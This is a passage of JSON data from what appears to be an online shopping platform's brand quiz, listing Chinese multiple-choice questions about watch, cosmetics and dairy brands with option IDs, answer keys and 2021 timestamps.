04:50:56","status":"1"},{"questionId":"6301443052","questionIndex":"3","questionStem":"Oakley品牌始于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD43Dj2Ytln6X-a1_vOnbx_3r5b4\",\"optionDesc\":\"1980\"},{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XuHcnP_mWcOyvzI5\",\"optionDesc\":\"1985\"},{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XK8ZHfqcViUk9xRh\",\"optionDesc\":\"1975\\t\\t\"}]","questionToken":"LccSx0BXjD43Dj3IpRHhCWdd3vxhevSr6g1H1ECqWDrnPIaAA8PTCBvUsHBUQNFlce5oukeHID9RpO2l4UWq8DcM1C3OjQ","correct":"{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XK8ZHfqcViUk9xRh\",\"optionDesc\":\"1975\\t\\t\"}","create_time":"27/1/2021 04:45:20","update_time":"27/1/2021 04:45:20","status":"1"},{"questionId":"6301443053","questionIndex":"2","questionStem":"Oakley冬季主推产品是什么?","options":"[{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XN88RMy-2Lnxzmc\",\"optionDesc\":\"滑雪镜\\t\\t\"},{\"optionId\":\"LccSx0BXjD43Dz2Ytln6X3j5DPMwVRPWZfs\",\"optionDesc\":\"光学镜\"},{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XoNq7PBqkcu6n1A\",\"optionDesc\":\"休闲太阳镜\"}]","questionToken":"LccSx0BXjD43Dz3JpRHhDg5359siEW4QhFTpDjRa3ApcyKXD3h32pxc7-M13gEE9nHe51EMix_zU-RruZ-TkLLcEYvSkKQ","correct":"{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XN88RMy-2Lnxzmc\",\"optionDesc\":\"滑雪镜\\t\\t\"}","create_time":"27/1/2021 04:49:28","update_time":"27/1/2021 04:49:28","status":"1"},{"questionId":"6301443054","questionIndex":"5","questionStem":"豆本豆的限定农场是在哪个纬度区间?","options":"[{\"optionId\":\"LccSx0BXjD43CD2Ytln6XMcIiwvRJLQW5IZ4QA\",\"optionDesc\":\"北纬43°-53°\\t\\t\"},{\"optionId\":\"LccSx0BXjD43CD2Ytln6X8p6Jx6WwFsnBCGdOQ\",\"optionDesc\":\"北纬32°-42°\"},{\"optionId\":\"LccSx0BXjD43CD2Ytln6XnRmDb19_9fMJxEiGw\",\"optionDesc\":\"北纬46°-56°\"}]","questionToken":"LccSx0BXjD43CD3OpRHhCZLScwxlIwIfnGGCE-3mPI_f3S6Ji1gy9QTZv8vrfQE0P7TPqrkyAv9YWcjuD0bb8JYt2bNtVg","correct":"{\"optionId\":\"LccSx0BXjD43CD2Ytln6XMcIiwvRJLQW5IZ4QA\",\"optionDesc\":\"北纬43°-53°\\t\\t\"}","create_time":"27/1/2021 04:36:29","update_time":"27/1/2021 04:36:29","status":"1"},{"questionId":"6301443055","questionIndex":"5","questionStem":"豆本豆系列豆奶未含糖的产品为?","options":"[{\"optionId\":\"LccSx0BXjD43CT2Ytln6X_elMAdXFY4YFOqOmQ\",\"optionDesc\":\"原味豆奶系列\"},{\"optionId\":\"LccSx0BXjD43CT2Ytln6XgTM8r7RQ5v67FjMmQ\",\"optionDesc\":\"有机豆奶系列\"},{\"optionId\":\"LccSx0BXjD43CT2Ytln6XFEuRAWWOP4-oqvOhw\",\"optionDesc\":\"纯豆奶系列\\t\\t\"}]","questionToken":"LccSx0BXjD43CT3OpRHhDmE1dNoLqyoli4M9VxOQI6F_LKL3b-fVHWlXuTB4Oo7CA3RPI9hcLyNUiIs4njEUxgHGqgj3BQ","correct":"{\"optionId\":\"LccSx0BXjD43CT2Ytln6XFEuRAWWOP4-oqvOhw\",\"optionDesc\":\"纯豆奶系列\\t\\t\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"6301443057","questionIndex":"5","questionStem":"豆本豆的核心卖点是什么?","options":"[{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XN98c-53WfG7ViwfsA\",\"optionDesc\":\"植物营养0负担\"},{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XuP6WJAhUUtp7LlOIw\",\"optionDesc\":\"东北黑土地种植\"},{\"optionId\":\"LccSx0BXjD43Cz2Ytln6X2GDOsuOAHUkT0hCRg\",\"optionDesc\":\"无糖美味\"}]","questionToken":"LccSx0BXjD43Cz3OpRHhDjG997u8sf0CSLqkXoE_E4CgkjOy82L1jiyj_wExwbxfKAwh77YNrXFkyRC7YKedkML3inoAgQ","correct":"{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XN98c-53WfG7ViwfsA\",\"optionDesc\":\"植物营养0负担\"}","create_time":"27/1/2021 04:48:53","update_time":"27/1/2021 04:48:53","status":"1"},{"questionId":"6301443058","questionIndex":"5","questionStem":"豆本豆含有荔枝口味的产品是哪款?","options":"[{\"optionId\":\"LccSx0BXjD43BD2Ytln6XMkaVME_m04vfA\",\"optionDesc\":\"唯甄蜂蜜豆奶系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD43BD2Ytln6Xnc0ZhO1xZKUxA\",\"optionDesc\":\"原味豆奶\"},{\"optionId\":\"LccSx0BXjD43BD2Ytln6X65MnV7wsG3Qgw\",\"optionDesc\":\"唯甄红枣豆奶\"}]","questionToken":"LccSx0BXjD43BD3OpRHhDjmFcCx6TUOrdqGHDCqsKEf1-J3BlZnS7WqpHkSHetW-BSftDvZoMq7Y2dpfLo4X2jkYfjihYw","correct":"{\"optionId\":\"LccSx0BXjD43BD2Ytln6XMkaVME_m04vfA\",\"optionDesc\":\"唯甄蜂蜜豆奶系列\\t\\t\"}","create_time":"27/1/2021 04:33:09","update_time":"27/1/2021 04:33:09","status":"1"},{"questionId":"6301443074","questionIndex":"2","questionStem":"依波路是产自于哪个国家的手表?","options":"[{\"optionId\":\"LccSx0BXjD41CD2Ytln6XvkGmwFu1vBWTDXH\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD41CD2Ytln6XEMUQ6478tBFsLQN\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"LccSx0BXjD41CD2Ytln6Xzvte_rhETb_ubyP\",\"optionDesc\":\"美国\"}]","questionToken":"LccSx0BXjD41CD3JpRHhDodSc7cEU7Lplon_kmspwQckO-fLDP26Lvm_zukJaiayCZ3ZYKcOBQ4Al-bZPefgnqEvmwzUQA","correct":"{\"optionId\":\"LccSx0BXjD41CD2Ytln6XEMUQ6478tBFsLQN\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:32:32","update_time":"27/1/2021 04:32:32","status":"1"},{"questionId":"6301443075","questionIndex":"5","questionStem":"依波路品牌始于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD41CT2Ytln6X7TQGLE88gRWrWU8ng\",\"optionDesc\":\"1876\"},{\"optionId\":\"LccSx0BXjD41CT2Ytln6XGeufHLu4UsCLcMRrA\",\"optionDesc\":\"1856\\t\\t\"},{\"optionId\":\"LccSx0BXjD41CT2Ytln6XjUDysIv0uvsqj-BNA\",\"optionDesc\":\"1850\"}]","questionToken":"LccSx0BXjD41CT3OpRHhDvbN6Wt5mREr7x8BWXHb_56Nf-weeTF-c5MOAdZZYVrUi4ZgUIcd09zr5UP8hwdMv3U5AxHHRA","correct":"{\"optionId\":\"LccSx0BXjD41CT2Ytln6XGeufHLu4UsCLcMRrA\",\"optionDesc\":\"1856\\t\\t\"}","create_time":"27/1/2021 04:35:43","update_time":"27/1/2021 04:35:43","status":"1"},{"questionId":"6301443076","questionIndex":"1","questionStem":"依波路的品牌理念是什么?","options":"[{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XgGBbK7fR2UNTpQO\",\"optionDesc\":\"时间定格此刻\"},{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XAp7FuJErldhqvW4\",\"optionDesc\":\"浪漫时刻因爱永恒\\t\\t\"},{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XyKPzXKGnwMphgAx\",\"optionDesc\":\"浪漫在此刻\"}]","questionToken":"LccSx0BXjD41Cj3KpRHhDpu6iyFXKhuRmMn4ffpA6rSa4W_yqVEPC9wmmZWIGfXNy5b3k0wviWUCX0j03yMZDni1KVHTcA","correct":"{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XAp7FuJErldhqvW4\",\"optionDesc\":\"浪漫时刻因爱永恒\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443077","questionIndex":"1","questionStem":"依波路的品牌代言人是谁?","options":"[{\"optionId\":\"LccSx0BXjD41Cz2Ytln6X2zr14nRxENzRLup\",\"optionDesc\":\"林峰\"},{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XJb9NJh_BEs8bwYT\",\"optionDesc\":\"陈慧琳\\t\\t\"},{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XvoUcIUrrP4qcpnc\",\"optionDesc\":\"赵雅芝\"}]","questionToken":"LccSx0BXjD41Cz3KpRHhCWx7Hj6T4rtAuq9tIyD8fZMXDyRGINTwX4anBKs1uKLv6wOF19wXAnN6nahsJlhzSZWHFQzejw","correct":"{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XJb9NJh_BEs8bwYT\",\"optionDesc\":\"陈慧琳\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"6301443078","questionIndex":"3","questionStem":"依波路主推特色系列是什么?","options":"[{\"optionId\":\"LccSx0BXjD41BD2Ytln6X98Bgq7IwdmzcmWNcw\",\"optionDesc\":\"祖尔斯系列\"},{\"optionId\":\"LccSx0BXjD41BD2Ytln6XlnuFfz4i5-6eZCcBw\",\"optionDesc\":\"鸡尾酒系列\"},{\"optionId\":\"LccSx0BXjD41BD2Ytln6XI-_vhA6MqqvKDA--A\",\"optionDesc\":\"传奇系列\\t\\t\"}]","questionToken":"LccSx0BXjD41BD3IpRHhCaEft5m86kAcCR1aqfzksNJhTjIUVUYXWLpj2_Gt_fGqGys4LJ107gLC2XDM0JsuUhK_e_bElg","correct":"{\"optionId\":\"LccSx0BXjD41BD2Ytln6XI-_vhA6MqqvKDA--A\",\"optionDesc\":\"传奇系列\\t\\t\"}","create_time":"27/1/2021 04:42:40","update_time":"27/1/2021 04:42:40","status":"1"},{"questionId":"6301443080","questionIndex":"1","questionStem":"摩纹手表的产地是?","options":"[{\"optionId\":\"LccSx0BXjD46DD2Ytln6XPRrobzgcG272K9_\",\"optionDesc\":\"瑞士\\t\"},{\"optionId\":\"LccSx0BXjD46DD2Ytln6Xtaxaleg4WHtycUt\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD46DD2Ytln6X1lfZkmW4pzr34UO\",\"optionDesc\":\"中国\\t\"}]","questionToken":"LccSx0BXjD46DD3KpRHhCcYqFKoKOEFnljEHu5Y_TjLr1drhcpMpA_SD6YWJ_n0Zmm23D4eZHVV_dPDfcHyz_P1ccLHXAw","correct":"{\"optionId\":\"LccSx0BXjD46DD2Ytln6XPRrobzgcG272K9_\",\"optionDesc\":\"瑞士\\t\"}","create_time":"27/1/2021 04:45:55","update_time":"27/1/2021 04:45:55","status":"1"},{"questionId":"6301443081","questionIndex":"5","questionStem":"摩纹告白系列女表现在是由哪位明星代言?","options":"[{\"optionId\":\"LccSx0BXjD46DT2Ytln6XHQtJvcF2F6dt_OP\",\"optionDesc\":\"金莎\\t\\t\"},{\"optionId\":\"LccSx0BXjD46DT2Ytln6X_S96DSWfiN7QGFL\",\"optionDesc\":\"秦海璐\"},{\"optionId\":\"LccSx0BXjD46DT2Ytln6Xl4Q8o8IOPHLaSCO\",\"optionDesc\":\"毛晓彤\"}]","questionToken":"LccSx0BXjD46DT3OpRHhCRxKsEj-N02cS8_M5cKyhE71mOtQhdFnTQBMi_Lazo6mK3kUgJu5kLbndvs3LZrKVQQ26WpIXw","correct":"{\"optionId\":\"LccSx0BXjD46DT2Ytln6XHQtJvcF2F6dt_OP\",\"optionDesc\":\"金莎\\t\\t\"}","create_time":"27/1/2021 04:45:52","update_time":"27/1/2021 04:45:52","status":"1"},{"questionId":"6301443082","questionIndex":"3","questionStem":"摩纹手表的特色传承标记是?","options":"[{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XlBK_LNb9EVd5VjXeQ\",\"optionDesc\":\"三叉皇冠\"},{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XL36tVal57F52XbXew\",\"optionDesc\":\"红“8”DNA印记\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Dj2Ytln6X_G14kbWJMwUINn7WQ\",\"optionDesc\":\"淬火蓝针\"}]","questionToken":"LccSx0BXjD46Dj3IpRHhDsSjV-9e676oDvjXn1JuMXXJUVs3oq8HyjGdD_1X8wc-v7VG0hBI4bNMDQ7b5HF_EDH1fTAMHw","correct":"{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XL36tVal57F52XbXew\",\"optionDesc\":\"红“8”DNA印记\\t\\t\"}","create_time":"27/1/2021 04:03:34","update_time":"27/1/2021 04:03:34","status":"1"},{"questionId":"6301443083","questionIndex":"2","questionStem":"摩纹手表近年来合作的春节档电影名称是?","options":"[{\"optionId\":\"LccSx0BXjD46Dz2Ytln6X3R4UIH7G8RD0L7x\",\"optionDesc\":\"紧急救援\"},{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XGEcloFv86Y5Su_t\",\"optionDesc\":\"唐人街探案\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XmqqVK5HiVyQOZy3\",\"optionDesc\":\"封神三部曲\"}]","questionToken":"LccSx0BXjD46Dz3JpRHhDntaAUW0038zCujS93ahbsUc5YxQGb0qgtn9uDeoAbhdr0WlgWbkrbnfm_G_pcbYi-2Unb8llQ","correct":"{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XGEcloFv86Y5Su_t\",\"optionDesc\":\"唐人街探案\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443085","questionIndex":"5","questionStem":"天美时手表是哪国的品牌?","options":"[{\"optionId\":\"LccSx0BXjD46CT2Ytln6Xw9gUC90vJ_w1bQ\",\"optionDesc\":\"中国\"},{\"optionId\":\"LccSx0BXjD46CT2Ytln6XunHCEKBAf-7KuE\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD46CT2Ytln6XBQtxKa7JQkt4aA\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"LccSx0BXjD46CT3OpRHhDh9U7XdPtX_j2TjpCaAIZqcm9iFQwOxXLz3d27VmPvuRA0JT8dlm_OUfENXZvL6lnzlM-UVlkA","correct":"{\"optionId\":\"LccSx0BXjD46CT2Ytln6XBQtxKa7JQkt4aA\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:54:04","update_time":"27/1/2021 04:54:04","status":"1"},{"questionId":"6301443086","questionIndex":"5","questionStem":"天美时的受众人群是?","options":"[{\"optionId\":\"LccSx0BXjD46Cj2Ytln6Xob_XlXxI-ewUGE\",\"optionDesc\":\"老人\"},{\"optionId\":\"LccSx0BXjD46Cj2Ytln6XJ1I8hI3KIcxkn0\",\"optionDesc\":\"青年&学生\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Cj2Ytln6X5OvbjdsAL8uDBg\",\"optionDesc\":\"儿童\"}]","questionToken":"LccSx0BXjD46Cj3OpRHhCUuporsJNBxw66T7UVimytnzfcUAD4802NndRjgofyEZGLjrfuKFO3ffB_h2qPEvatyNmpYNYg","correct":"{\"optionId\":\"LccSx0BXjD46Cj2Ytln6XJ1I8hI3KIcxkn0\",\"optionDesc\":\"青年&学生\\t\\t\"}","create_time":"27/1/2021 04:51:23","update_time":"27/1/2021 04:51:23","status":"1"},{"questionId":"6301443087","questionIndex":"4","questionStem":"范思哲VERSACE是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD46Cz2Ytln6XIYxyyI4-LHhfoyq7A\",\"optionDesc\":\"意大利\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Cz2Ytln6X7GqkNTcKvnEyIzpZA\",\"optionDesc\":\"瑞士\"},{\"optionId\":\"LccSx0BXjD46Cz2Ytln6Xv5TIaZ0qRqhEdvgyQ\",\"optionDesc\":\"法国\"}]","questionToken":"LccSx0BXjD46Cz3PpRHhCbZ7UVQsphXd6sdUmMKTAhxJf5aBwU9pIx_liQMCrf8WEEA0BIF6g0a62_FHd4eL6ARpkt1zSQ","correct":"{\"optionId\":\"LccSx0BXjD46Cz2Ytln6XIYxyyI4-LHhfoyq7A\",\"optionDesc\":\"意大利\\t\\t\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"6301443088","questionIndex":"3","questionStem":"范思哲VERSACE手表的产地是?","options":"[{\"optionId\":\"LccSx0BXjD46BD2Ytln6XCukBfkBo-mfvmSK2w\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"LccSx0BXjD46BD2Ytln6X0vfFGKAZF5Sis7s_w\",\"optionDesc\":\"中国\"},{\"optionId\":\"LccSx0BXjD46BD2Ytln6XhgYfHrTp2Ok2x54JQ\",\"optionDesc\":\"意大利\"}]","questionToken":"LccSx0BXjD46BD3IpRHhCUzj172TW7Ssj5XQTbn8o7F0nT0ykfGvXk1thhEJXevjg4n8rS4REEzOPd6SPsIAsPMtMOd_Aw","correct":"{\"optionId\":\"LccSx0BXjD46BD2Ytln6XCukBfkBo-mfvmSK2w\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"6301443089","questionIndex":"2","questionStem":"范思哲VERSACE手表机芯的质保时间是多长?","options":"[{\"optionId\":\"LccSx0BXjD46BT2Ytln6XNKKCjXVzZsYxL2i\",\"optionDesc\":\"4年\\t\\t\"},{\"optionId\":\"LccSx0BXjD46BT2Ytln6X-p4ZBxTgqFXzTsq\",\"optionDesc\":\"2年\"},{\"optionId\":\"LccSx0BXjD46BT2Ytln6Xo1Ztbc0PSwkpFvp\",\"optionDesc\":\"3年\"}]","questionToken":"LccSx0BXjD46BT3JpRHhDu7dZadEE-s6mBvMtZwSrCo1BLbAkC4BoDTWQV-xzRQQzUVrqbaYLJXJ13WurX02m5w0DsseCA","correct":"{\"optionId\":\"LccSx0BXjD46BT2Ytln6XNKKCjXVzZsYxL2i\",\"optionDesc\":\"4年\\t\\t\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"6301443090","questionIndex":"2","questionStem":"范思哲VERSACE手表的标志性图案是?","options":"[{\"optionId\":\"LccSx0BXjD47DD2Ytln6XnUTeAysj1krYsZxkA\",\"optionDesc\":\"希腊回纹\"},{\"optionId\":\"LccSx0BXjD47DD2Ytln6X_31t1MuqtnCCxvITQ\",\"optionDesc\":\"SWISS MADE\"},{\"optionId\":\"LccSx0BXjD47DD2Ytln6XNtEcuYbAfCwh-C4vA\",\"optionDesc\":\"美杜莎头像\\t\\t\"}]","questionToken":"LccSx0BXjD47DD3JpRHhDoq_Wz77EHCW-E4r-dO5AxkOCe1tWf2Q4dtugTep_PQ4HKcERykxOq391iKqFixqcSKj-dok3A","correct":"{\"optionId\":\"LccSx0BXjD47DD2Ytln6XNtEcuYbAfCwh-C4vA\",\"optionDesc\":\"美杜莎头像\\t\\t\"}","create_time":"27/1/2021 04:41:06","update_time":"27/1/2021 04:41:06","status":"1"},{"questionId":"6301443091","questionIndex":"2","questionStem":"欧莱雅源自哪个国家?","options":"[{\"optionId\":\"LccSx0BXjD47DT2Ytln6Xk3jaQj5AwULMYE\",\"optionDesc\":\"英国\"},{\"optionId\":\"LccSx0BXjD47DT2Ytln6X9Q1brY5GF3P5-g\",\"optionDesc\":\"美国\"},{\"optionId\":\"LccSx0BXjD47DT2Ytln6XC10l6BzssG8HGw\",\"optionDesc\":\"法国\\t\\t\"}]","questionToken":"LccSx0BXjD47DT3JpRHhDjlpVYrUinC6D5S9TddtSHj942B6YfbV0MRJhMT8ofY0uEVTuEYqckE1ctJz523t57MZ5JpOlQ","correct":"{\"optionId\":\"LccSx0BXjD47DT2Ytln6XC10l6BzssG8HGw\",\"optionDesc\":\"法国\\t\\t\"}","create_time":"27/1/2021 04:44:52","update_time":"27/1/2021 04:44:52","status":"1"},{"questionId":"6301443092","questionIndex":"1","questionStem":"欧莱雅紫熨斗含有哪个黑科技成分?","options":"[{\"optionId\":\"LccSx0BXjD47Dj2Ytln6XMeTMX8EfGQJKR_9_A\",\"optionDesc\":\"玻色因\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Dj2Ytln6X50auuCHgCgRxUzuIQ\",\"optionDesc\":\"焕肤保湿精华\"},{\"optionId\":\"LccSx0BXjD47Dj2Ytln6Xp74QUYJWfszF375vw\",\"optionDesc\":\"超微研磨粉末\"}]","questionToken":"LccSx0BXjD47Dj3KpRHhDlW-3SO37zIOLYsW7ZuALd6r-7lQBCW2dDz0C7ihPdEPBI-1BlbSU4Ox-yd7KoS3gKL9nw0hMg","correct":"{\"optionId\":\"LccSx0BXjD47Dj2Ytln6XMeTMX8EfGQJKR_9_A\",\"optionDesc\":\"玻色因\\t\\t\"}","create_time":"27/1/2021 04:34:24","update_time":"27/1/2021 04:34:24","status":"1"},{"questionId":"6301443093","questionIndex":"5","questionStem":"以下哪款是2021年京东欧莱雅新款产品?","options":"[{\"optionId\":\"LccSx0BXjD47Dz2Ytln6Xhmpj3pkHDiBoQsp\",\"optionDesc\":\"复颜积雪草微精华\"},{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XxZ9-lyZHEblATG4\",\"optionDesc\":\"青春密码充电眼霜\\t\"},{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XC-z2O6SPywFuSGr\",\"optionDesc\":\"金致臻颜琉金蜜\"}]","questionToken":"LccSx0BXjD47Dz3OpRHhCcnxs5smYJARvoVrdNcilNcTCObYNwEvslzCZOyCmsFMeEV9Uo4QSmAcTtmb_MaADSxYwf2HEQ","correct":"{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XC-z2O6SPywFuSGr\",\"optionDesc\":\"金致臻颜琉金蜜\"}","create_time":"27/1/2021 04:48:25","update_time":"27/1/2021 04:48:25","status":"1"},{"questionId":"6301443094","questionIndex":"2","questionStem":"以下哪款是欧莱雅抗老王牌产品?","options":"[{\"optionId\":\"LccSx0BXjD47CD2Ytln6XLytmXjV95YJfWkKhQ\",\"optionDesc\":\"欧莱雅逆时精华\\t\\t\"},{\"optionId\":\"LccSx0BXjD47CD2Ytln6X0GhYzx7Ak3l6LveKQ\",\"optionDesc\":\"三重源白精华\"},{\"optionId\":\"LccSx0BXjD47CD2Ytln6Xmm6btxp5hOgA_xi7A\",\"optionDesc\":\"青春密码黑精华\"}]","questionToken":"LccSx0BXjD47CD3JpRHhDgVKPOPB-i7Psf7I82Ziz5MHMu2okedle_dOmp9Ffdujn1GbdpOQ1mFMPEECrmD5fzy7jkVuPg","correct":"{\"optionId\":\"LccSx0BXjD47CD2Ytln6XLytmXjV95YJfWkKhQ\",\"optionDesc\":\"欧莱雅逆时精华\\t\\t\"}","create_time":"27/1/2021 04:43:48","update_time":"27/1/2021 04:43:48","status":"1"},{"questionId":"6301443095","questionIndex":"5","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"LccSx0BXjD47CT2Ytln6XCoJxjlVyzZBoVto\",\"optionDesc\":\"妈咪爱\"},{\"optionId\":\"LccSx0BXjD47CT2Ytln6XnY6m9abItax-d53\",\"optionDesc\":\"Dodie\"},{\"optionId\":\"LccSx0BXjD47CT2Ytln6X1CyMSVxyLNEJw-L\",\"optionDesc\":\"Swisse\"}]","questionToken":"LccSx0BXjD47CT3OpRHhDldt6CnMYRPoQ7ZKzS_RENFYKHO4B8MYPDHHuxCv0bx44QRXCjv_mt42AasQoPCzF0TMtTS6UQ","correct":"{\"optionId\":\"LccSx0BXjD47CT2Ytln6XCoJxjlVyzZBoVto\",\"optionDesc\":\"妈咪爱\"}","create_time":"27/1/2021 04:50:26","update_time":"27/1/2021 04:50:26","status":"1"},{"questionId":"6301443096","questionIndex":"2","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XhV8LpzaJDDiIp8\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XJ4jBDv1Yakutfw\",\"optionDesc\":\"成人奶粉\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Cj2Ytln6X8-1nypJ0xoUKA4\",\"optionDesc\":\"婴幼儿奶粉\"}]","questionToken":"LccSx0BXjD47Cj3JpRHhCXKr-cr7k6g_aCGXwYk30jodW6pQYewa7qDju-cnjr6Qma6AvCNQY_jZM7TeeIvfTp5P3ORZeA","correct":"{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XJ4jBDv1Yakutfw\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"27/1/2021 04:50:15","update_time":"27/1/2021 04:50:15","status":"1"},{"questionId":"6301443097","questionIndex":"2","questionStem":"欧莱雅男士系列于哪一年推出?","options":"[{\"optionId\":\"LccSx0BXjD47Cz2Ytln6Xx-yPGmf4OvEt0A\",\"optionDesc\":\"2005\"},{\"optionId\":\"LccSx0BXjD47Cz2Ytln6XA6NOkgwDjfmKf4\",\"optionDesc\":\"2004\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Cz2Ytln6Xl_nxuJCvpn5I_M\",\"optionDesc\":\"2006\"}]","questionToken":"LccSx0BXjD47Cz3JpRHhDkGu9dKi1-OYaVRoBsYKn18-ojPu4k68eOyRjOlVbppnMbhB8HY1eAaUomJ3nT-AZ1Pb-WGNpQ","correct":"{\"optionId\":\"LccSx0BXjD47Cz2Ytln6XA6NOkgwDjfmKf4\",\"optionDesc\":\"2004\\t\\t\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"6301443098","questionIndex":"4","questionStem":"欧莱雅男士在中国大陆地区的首位代言人是?","options":"[{\"optionId\":\"LccSx0BXjD47BD2Ytln6Xrx5oRvTiFgsAaI\",\"optionDesc\":\"井柏然\"},{\"optionId\":\"LccSx0BXjD47BD2Ytln6XJ7i821YUYZGrlU\",\"optionDesc\":\"吴彦祖\\t\\t\"},{\"optionId\":\"LccSx0BXjD47BD2Ytln6Xyhmw8SjKth3VWk\",\"optionDesc\":\"阮经天\"}]","questionToken":"LccSx0BXjD47BD3PpRHhDnR9BSsTecBhgkWiskYUVWAUKxsUOGWXgOeNZrPgedgk0uhBo3fk6XocNeVFdbKqqH7AYCAKUA","correct":"{\"optionId\":\"LccSx0BXjD47BD2Ytln6XJ7i821YUYZGrlU\",\"optionDesc\":\"吴彦祖\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443099","questionIndex":"5","questionStem":"以下哪个不是欧莱雅男士护肤产品系列?","options":"[{\"optionId\":\"LccSx0BXjD47BT2Ytln6XKai5LR4zCffMkw\",\"optionDesc\":\"清爽醒肤系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD47BT2Ytln6X6_yTd_J6y3eJ-E\",\"optionDesc\":\"控油系列\"},{\"optionId\":\"LccSx0BXjD47BT2Ytln6Xs9zIRRptK4GD-s\",\"optionDesc\":\"劲能系列\"}]","questionToken":"LccSx0BXjD47BT3OpRHhCditmU6a4kWqYpgdJejwlzUT2wzDf69VQoRXoRJMmOvqo6DryO49WcvyDySnKXTeC0dVIMrPIA","correct":"{\"optionId\":\"LccSx0BXjD47BT2Ytln6XKai5LR4zCffMkw\",\"optionDesc\":\"清爽醒肤系列\\t\\t\"}","create_time":"27/1/2021 04:49:11","update_time":"27/1/2021 04:49:11","status":"1"},{"questionId":"6301443100","questionIndex":"4","questionStem":"圣牧有机奶有几个奶源地?","options":"[{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0F2o-M8j1u6HOHTc\",\"optionDesc\":\"3个\"},{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0bxxM89s_lneAOav\",\"optionDesc\":\"2个\\t\"},{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0tFM8fYb_pO5S6P2\",\"optionDesc\":\"1个\\t\"}]","questionToken":"LccSx0BXjD_LVa_itmQ6hw4vStWrMg8P3R6zxddSmmTP7agoecYkDy0_XRydGYiVJ3tMekOKwAGs7jMvcuLxps4l-O71RQ","correct":"{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0tFM8fYb_pO5S6P2\",\"optionDesc\":\"1个\\t\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"6301443101","questionIndex":"4","questionStem":"圣牧产品标志性颜色?","options":"[{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0T98jqFa_WVYJw\",\"optionDesc\":\"黑色+白色\"},{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0DNwwaMyv8w7Lg\",\"optionDesc\":\"红色+蓝色\"},{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0gg0x8fdJFXQpw\",\"optionDesc\":\"绿色+金色\\t\\t\"}]","questionToken":"LccSx0BXjD_LVK_itmQ6gBGQb4EXOZFhCBwo8wgQSQZ0KP9QRsyj0nW-XOzAhD_RK_fof_3xkmy7WwEc-tTG5ZlX01YUDg","correct":"{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0gg0x8fdJFXQpw\",\"optionDesc\":\"绿色+金色\\t\\t\"}","create_time":"27/1/2021 04:33:08","update_time":"27/1/2021 